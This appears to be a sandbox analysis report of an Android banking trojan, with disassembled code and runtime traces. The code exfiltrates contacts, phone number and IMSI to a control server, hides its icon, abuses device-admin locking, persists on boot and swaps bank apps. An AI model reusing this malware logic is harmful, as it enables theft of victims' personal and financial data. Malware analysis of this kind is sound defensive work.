51iget-object v6, v6, Lcom/example/adt/Contact;->mContext:Lcom/example/adt/CoreService;
53invoke-static {v6}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String;
54move-result-object v6
56invoke-virtual {v6}, Ljava/lang/String;->trim()Ljava/lang/String;
57move-result-object v6
59invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
60move-result-object v5
62const-string v6, "&content="
64invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &content=
65move-result-object v5
67invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
68move-result-object v5
70invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
71move-result-object v2
72new-instance v0, Lcom/example/adt/Connect;
74invoke-direct {v0}, Lcom/example/adt/Connect;-><init>()V
76invoke-virtual {v0, v2}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String;
77move-result-object v4
79sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream;
80new-instance v6, Ljava/lang/StringBuilder;
82const-string v7, "\u53d1\u9001\u901a\u8baf\u5f55\u7ed3\u679c => "
84invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u53d1\u9001\u901a\u8baf\u5f55\u7ed3\u679c =>
86invoke-virtual {v6, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
87move-result-object v6
89invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
90move-result-object v6
92invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
93goto_74: return-void
94catch_75: move-exception v5
95goto/16 :goto_74
APIs
  • android.app.Activity.requestWindowFeature
  • com.example.adt.MainActivity.getSystemService
  • android.app.admin.DevicePolicyManager.isAdminActive
  • com.example.adt.MainActivity.startService
Strings
  • device_policy
  • MainActivity is Begin
Position Instruction Meta Information
0.parameter "savedInstanceState"
1.prologue
3invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
4const/4 v1, 0x1
6invoke-virtual {p0, v1}, Lcom/example/adt/MainActivity;->requestWindowFeature(I)Z
  • Time: 126370
    • This:
      • com.example.adt.MainActivity@a0660728
    • featureId: 1
    • Return:
      • android.util.AndroidRuntimeException: requestFeature() must be called before adding content
7const/high16 v1, 0x7f03
9invoke-virtual {p0, v1}, Lcom/example/adt/MainActivity;->setContentView(I)V
  • Data flow analysis:
    • layoutResID: 32515
10sput-object p0, Lcom/example/adt/MainActivity;->context:Lcom/example/adt/MainActivity;
12invoke-virtual {p0}, Lcom/example/adt/MainActivity;->getComponentName()Landroid/content/ComponentName;
13move-result-object v1
14sput-object v1, Lcom/example/adt/CoreService;->componentName:Landroid/content/ComponentName;
16const-string v1, "device_policy"
18invoke-virtual {p0, v1}, Lcom/example/adt/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 126372
    • This:
      • com.example.adt.MainActivity@a0660728
    • name: device_policy
    • Return:
      • android.app.admin.DevicePolicyManager@a06854f8
19move-result-object v1
20check-cast v1, Landroid/app/admin/DevicePolicyManager;
21iput-object v1, p0, Lcom/example/adt/MainActivity;->policyManager:Landroid/app/admin/DevicePolicyManager;
22new-instance v1, Landroid/content/ComponentName;
23const-class v2, Lcom/example/adt/LockReceiver;
25invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
26iput-object v1, p0, Lcom/example/adt/MainActivity;->componentName:Landroid/content/ComponentName;
28iget-object v1, p0, Lcom/example/adt/MainActivity;->policyManager:Landroid/app/admin/DevicePolicyManager;
30iget-object v2, p0, Lcom/example/adt/MainActivity;->componentName:Landroid/content/ComponentName;
32invoke-virtual {v1, v2}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
  • Time: 126373
    • This:
      • android.app.admin.DevicePolicyManager@a06854f8
    • who: ComponentInfo{com.example.adt/com.example.adt.LockReceiver}
    • Return:
      • false
33move-result v1
34if-eqz v1, :cond_54
36iget-object v1, p0, Lcom/example/adt/MainActivity;->policyManager:Landroid/app/admin/DevicePolicyManager;
38invoke-virtual {v1}, Landroid/app/admin/DevicePolicyManager;->lockNow()V
39goto_36: new-instance v0, Landroid/content/Intent;
40const-class v1, Lcom/example/adt/CoreService;
42invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
44invoke-virtual {p0, v0}, Lcom/example/adt/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 126381
    • This:
      • com.example.adt.MainActivity@a0660728
    • p0: Intent { cmp=com.example.adt/.CoreService }
    • Return:
      • ComponentInfo{com.example.adt/com.example.adt.CoreService}
46sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
48const-string v2, "MainActivity is Begin"
50invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: MainActivity is Begin
52invoke-static {p0}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String;
53move-result-object v1
54sput-object v1, Lcom/example/adt/Config;->number:Ljava/lang/String;
56invoke-direct {p0}, Lcom/example/adt/MainActivity;->HideIcon()V
58invoke-virtual {p0}, Lcom/example/adt/MainActivity;->finish()V
59return-void
60cond_54:
61invoke-direct {p0}, Lcom/example/adt/MainActivity;->activeManager()V
62goto/16 :goto_36
APIs
  • android.app.SharedPreferencesImpl.getString
Strings
  • config
  • http://www.slmoney.co.kr
  • serverip
Position Instruction Meta Information
0.parameter "c"
1.parameter "key"
2.parameter "def"
3.prologue
5const-string v1, "config"
6const/4 v2, 0x0
8invoke-virtual {p0, v1, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • name: config
    • mode: 0
9move-result-object v0
11invoke-interface {v0, p1, p2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Time: 127897
    • This:
      • android.app.SharedPreferencesImpl@a0675c48
    • p0: serverip
    • p1: http://www.slmoney.co.kr
    • Return:
      • http://www.slmoney.co.kr
12move-result-object v1
13return-object v1
59 Non-Executed Methods
Strings
  • isnew
  • issms
  • iscall
  • wifi
  • serverip
  • Heartbeat&nettype=
  • &mob=
  • &version=
  • &newclient=
  • &number=
  • &imsi=
  • &issms=
  • &iscall=
  • &capp=
  • &sapp=
  • &t=
  • wap
  • net
Position Instruction Meta Information
0.prologue
1goto_0: const-wide/16 v1, 0x1388
2try_start_2:
3invoke-static {v1, v2}, Ljava/lang/Thread;->sleep(J)V
  • Data flow analysis:
    • p0: 5000
4sget v1, Lcom/example/adt/CoreService;->autoCT:I
5add-int/lit8 v1, v1, 0x1
6sput v1, Lcom/example/adt/CoreService;->autoCT:I
7sget v1, Lcom/example/adt/CoreService;->autoCT:I
8rem-int/lit8 v1, v1, 0x14
9const/16 v2, 0x13
10if-le v1, v2, :cond_1c
11sget v1, Lcom/example/adt/CoreService;->autoCT:I
12const/16 v2, 0x14
13if-le v1, v2, :cond_1c
15invoke-static {}, Lcom/example/adt/App;->autoChangeApps()Ljava/lang/String;
16cond_1c:
17iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
19iget-object v2, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
21const-string v3, "isnew"
22const/4 v4, 0x0
24invoke-static {v2, v3, v4}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I
25move-result v2
27invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
28move-result-object v2
29iput-object v2, v1, Lcom/example/adt/CoreService;->isnew:Ljava/lang/Integer;
31iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
33iget-object v1, v1, Lcom/example/adt/CoreService;->isnew:Ljava/lang/Integer;
34const/4 v2, 0x0
36invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 0
37move-result-object v2
39invoke-virtual {v1, v2}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z
40move-result v1
41if-eqz v1, :cond_1b5
43iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
44const/4 v2, 0x1
45iput v2, v1, Lcom/example/adt/CoreService;->newClient:I
47iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
49const-string v2, "isnew"
50const/4 v3, 0x1
52invoke-static {v1, v2, v3}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V
53goto_49:
54iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
55new-instance v2, Ljava/lang/StringBuilder;
57iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
59const-string v4, "issms"
60const/4 v5, 0x1
62invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I
63move-result v3
65invoke-static {v3}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
66move-result-object v3
68invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
70invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
71move-result-object v2
72iput-object v2, v1, Lcom/example/adt/CoreService;->issms:Ljava/lang/String;
74iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
75new-instance v2, Ljava/lang/StringBuilder;
77iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
79const-string v4, "iscall"
80const/4 v5, 0x0
82invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I
83move-result v3
85invoke-static {v3}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
86move-result-object v3
88invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
90invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
91move-result-object v2
92iput-object v2, v1, Lcom/example/adt/CoreService;->iscall:Ljava/lang/String;
93new-instance v1, Lcom/example/adt/App;
95sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
97invoke-direct {v1, v2}, Lcom/example/adt/App;-><init>(Landroid/content/Context;)V
99invoke-virtual {v1}, Lcom/example/adt/App;->getApps()Ljava/lang/String;
101iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
103sget-object v2, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String;
104iput-object v2, v1, Lcom/example/adt/CoreService;->capp:Ljava/lang/String;
106iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
108sget-object v2, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String;
109iput-object v2, v1, Lcom/example/adt/CoreService;->sapp:Ljava/lang/String;
111iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
112sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
113iput v2, v1, Lcom/example/adt/CoreService;->currentapiVersion:I
115iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
117sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
119invoke-static {v2}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String;
120move-result-object v2
121iput-object v2, v1, Lcom/example/adt/CoreService;->mobVersion:Ljava/lang/String;
123iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
124new-instance v2, Ljava/lang/StringBuilder;
126invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
127move-result-object v3
129invoke-virtual {v3}, Ljava/util/Calendar;->getTimeInMillis()J
130move-result-wide v3
132invoke-static {v3, v4}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
  • Data flow analysis:
    • p1: iscall
133move-result-object v3
135invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
137invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
138move-result-object v2
139iput-object v2, v1, Lcom/example/adt/CoreService;->timeint:Ljava/lang/String;
141iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
143sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
145invoke-static {v2}, Lcom/example/adt/Config;->getAPNType(Landroid/content/Context;)I
146move-result v2
148invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
149move-result-object v2
150iput-object v2, v1, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer;
152iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
154iget-object v1, v1, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer;
155const/4 v2, 0x1
157invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 1
158move-result-object v2
160invoke-virtual {v1, v2}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z
161move-result v1
162if-eqz v1, :cond_1bc
164iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
166const-string v2, "wifi"
167iput-object v2, v1, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String;
168goto_df:
169iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
170new-instance v2, Ljava/lang/StringBuilder;
172iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
174const-string v4, "serverip"
176sget-object v5, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
178invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
179move-result-object v3
181invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
182move-result-object v3
184invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
186sget-object v3, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String;
188invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
189move-result-object v2
191const-string v3, "Heartbeat&nettype="
193invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Heartbeat&nettype=
194move-result-object v2
196iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
198iget-object v3, v3, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String;
200invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
201move-result-object v2
203const-string v3, "&mob="
205invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &mob=
206move-result-object v2
208iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
210iget-object v3, v3, Lcom/example/adt/CoreService;->mobVersion:Ljava/lang/String;
212invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
213move-result-object v2
215const-string v3, "&version="
217invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &version=
218move-result-object v2
220iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
221iget v3, v3, Lcom/example/adt/CoreService;->currentapiVersion:I
223invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
224move-result-object v2
226const-string v3, "&newclient="
228invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &newclient=
229move-result-object v2
231iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
232iget v3, v3, Lcom/example/adt/CoreService;->newClient:I
234invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
235move-result-object v2
237const-string v3, "&number="
239invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &number=
240move-result-object v2
242iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
244iget-object v3, v3, Lcom/example/adt/CoreService;->number:Ljava/lang/String;
246invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
247move-result-object v2
249const-string v3, "&imsi="
251invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &imsi=
252move-result-object v2
254iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
256iget-object v3, v3, Lcom/example/adt/CoreService;->imsi:Ljava/lang/String;
258invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
259move-result-object v2
261const-string v3, "&issms="
263invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &issms=
264move-result-object v2
266iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
268iget-object v3, v3, Lcom/example/adt/CoreService;->issms:Ljava/lang/String;
270invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
271move-result-object v2
273const-string v3, "&iscall="
275invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &iscall=
276move-result-object v2
278iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
280iget-object v3, v3, Lcom/example/adt/CoreService;->iscall:Ljava/lang/String;
282invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
283move-result-object v2
285const-string v3, "&capp="
287invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &capp=
288move-result-object v2
290iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
292iget-object v3, v3, Lcom/example/adt/CoreService;->capp:Ljava/lang/String;
294invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
295move-result-object v2
297const-string v3, "&sapp="
299invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &sapp=
300move-result-object v2
302iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
304iget-object v3, v3, Lcom/example/adt/CoreService;->sapp:Ljava/lang/String;
306invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
307move-result-object v2
309const-string v3, "&t="
311invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &t=
312move-result-object v2
314iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
316iget-object v3, v3, Lcom/example/adt/CoreService;->timeint:Ljava/lang/String;
318invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
319move-result-object v2
321invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
322move-result-object v2
323iput-object v2, v1, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String;
324new-instance v1, Ljava/lang/Thread;
325new-instance v2, Lcom/example/adt/CoreService$MyRunnable;
327iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
329iget-object v4, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
331iget-object v4, v4, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String;
333invoke-direct {v2, v3, v4}, Lcom/example/adt/CoreService$MyRunnable;-><init>(Lcom/example/adt/CoreService;Ljava/lang/String;)V
335invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
337invoke-virtual {v1}, Ljava/lang/Thread;->start()V
338try_end_1ad: goto/16 :goto_0
339catch_1af: move-exception v0
341invoke-virtual {v0}, Ljava/lang/InterruptedException;->printStackTrace()V
342goto/16 :goto_0
343cond_1b5:
344iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
345const/4 v2, 0x0
346iput v2, v1, Lcom/example/adt/CoreService;->newClient:I
347goto/16 :goto_49
348cond_1bc:
349iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
351iget-object v1, v1, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer;
352const/4 v2, 0x2
354invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 2
355move-result-object v2
357invoke-virtual {v1, v2}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z
358move-result v1
359if-eqz v1, :cond_1d3
361iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
363const-string v2, "wap"
364iput-object v2, v1, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String;
365goto/16 :goto_df
366cond_1d3:
367iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
369iget-object v1, v1, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer;
370const/4 v2, 0x3
372invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 3
373move-result-object v2
375invoke-virtual {v1, v2}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z
376move-result v1
377if-eqz v1, :cond_df
379iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService;
381const-string v2, "net"
382iput-object v2, v1, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String;
383try_end_1e8: goto/16 :goto_df
Strings
  • android.intent.action.BOOT_COMPLETED
  • android.intent.action.USER_PRESENT
  • android.intent.action.PACKAGE_ADDED
  • \u6211\u63a5\u6536\u5230\u4e86\u4e00\u4e2a\u7cfb\u7edf\u5e7f\u64ad =>
  • android.intent.action.PACKAGE_REMOVED
  • package:
  • \u6211\u5378\u8f7d\u7684\u8f6f\u4ef6\u662f =>
  • cn.gx3.notify
  • \u6211\u5df2\u7ecf\u63a5\u6536\u5230\u4e86\u5378\u8f7d\u8f6f\u4ef6\u7684\u5e7f\u64ad
Position Instruction Meta Information
0.parameter "context"
1.parameter "intent"
2.prologue
4invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
5move-result-object v2
7const-string v3, "android.intent.action.BOOT_COMPLETED"
9invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: android.intent.action.BOOT_COMPLETED
10move-result v2
11if-nez v2, :cond_18
13invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
14move-result-object v2
16const-string v3, "android.intent.action.USER_PRESENT"
18invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: android.intent.action.USER_PRESENT
19move-result v2
20if-eqz v2, :cond_25
21cond_18: new-instance v1, Landroid/content/Intent;
23invoke-direct {v1}, Landroid/content/Intent;-><init>()V
24const-class v2, Lcom/example/adt/CoreService;
26invoke-virtual {v1, p1, v2}, Landroid/content/Intent;->setClass(Landroid/content/Context;Ljava/lang/Class;)Landroid/content/Intent;
28invoke-virtual {p1, v1}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
29cond_25:
30invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
31move-result-object v2
33const-string v3, "android.intent.action.PACKAGE_ADDED"
35invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: android.intent.action.PACKAGE_ADDED
37sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
38new-instance v3, Ljava/lang/StringBuilder;
40const-string v4, "\u6211\u63a5\u6536\u5230\u4e86\u4e00\u4e2a\u7cfb\u7edf\u5e7f\u64ad => "
42invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6211\u63a5\u6536\u5230\u4e86\u4e00\u4e2a\u7cfb\u7edf\u5e7f\u64ad =>
44invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
45move-result-object v4
47invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
48move-result-object v3
50invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
51move-result-object v3
53invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
55invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
56move-result-object v2
58const-string v3, "android.intent.action.PACKAGE_REMOVED"
60invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: android.intent.action.PACKAGE_REMOVED
61move-result v2
62if-eqz v2, :cond_8e
64invoke-virtual {p2}, Landroid/content/Intent;->getDataString()Ljava/lang/String;
65move-result-object v2
66new-instance v3, Ljava/lang/StringBuilder;
68const-string v4, "package:"
70invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: package:
72sget-object v4, Lcom/example/adt/Config;->delPackage:Ljava/lang/String;
74invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
75move-result-object v3
77invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
78move-result-object v3
80invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
81move-result v2
82if-eqz v2, :cond_76
84const-string v2, ""
85sput-object v2, Lcom/example/adt/Config;->delPackage:Ljava/lang/String;
87sget-object v2, Lcom/example/adt/Config;->installApk:Ljava/io/File;
89invoke-static {v2}, Lcom/example/adt/DownLoad;->openFile(Ljava/io/File;)V
90cond_76:
91sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
92new-instance v3, Ljava/lang/StringBuilder;
94const-string v4, "\u6211\u5378\u8f7d\u7684\u8f6f\u4ef6\u662f => "
96invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6211\u5378\u8f7d\u7684\u8f6f\u4ef6\u662f =>
98invoke-virtual {p2}, Landroid/content/Intent;->getDataString()Ljava/lang/String;
99move-result-object v4
101invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
102move-result-object v3
104invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
105move-result-object v3
107invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
108cond_8e:
109invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
110move-result-object v2
112const-string v3, "cn.gx3.notify"
114invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: cn.gx3.notify
115move-result v2
116if-eqz v2, :cond_b0
118sget-object v2, Lcom/example/adt/Config;->delPackage:Ljava/lang/String;
120const-string v3, ""
122invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
123move-result v2
124if-eqz v2, :cond_b6
125try_start_a4:
126sget-object v2, Lcom/example/adt/Config;->installApk:Ljava/io/File;
